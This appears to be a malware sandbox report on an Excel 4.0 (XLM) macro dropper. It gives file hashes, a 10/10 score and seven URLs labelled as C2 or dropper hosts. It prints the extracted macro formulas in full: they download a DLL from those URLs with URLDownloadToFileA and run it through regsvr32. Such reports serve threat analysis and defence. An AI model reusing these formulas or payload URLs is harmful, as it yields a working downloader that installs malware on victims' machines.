75d59f6ed47676cdf06179d464f31b3b399262597e5ed2703e60b8c51de23c6d

General

Target

75d59f6ed47676cdf06179d464f31b3b399262597e5ed2703e60b8c51de23c6d
Size

20KB
Sample

241120-xsap4a1dpe
MD5

c33c1201ac21f408027f4aeb2900c43d
SHA1

e1cbbe5f3f8b235f51d12af736b2862bb3b5e3cf
SHA256

75d59f6ed47676cdf06179d464f31b3b399262597e5ed2703e60b8c51de23c6d
SHA512

32f50aa2ed09759cd3a40189f6cbc50095b743f7ce5337d0c4ffd730db9d7ae0cb04ff23cfff42cf70db873f6f85c4db9480b300a06bf1b9dc8ec4b369a6deda
SSDEEP

384:/A2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:42EINro4FLAOCBn9kC+xbLkWf

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

https://binaghetta.it/wp-content/gdONbcsI6Q9/

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

http://abildgren.dk/webmail/XY8XstOvGiLx/

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

xlm40.dropper

https://binaghetta.it/wp-content/gdONbcsI6Q9/

xlm40.dropper

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

xlm40.dropper

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

xlm40.dropper

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

xlm40.dropper

http://abildgren.dk/webmail/XY8XstOvGiLx/

xlm40.dropper

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/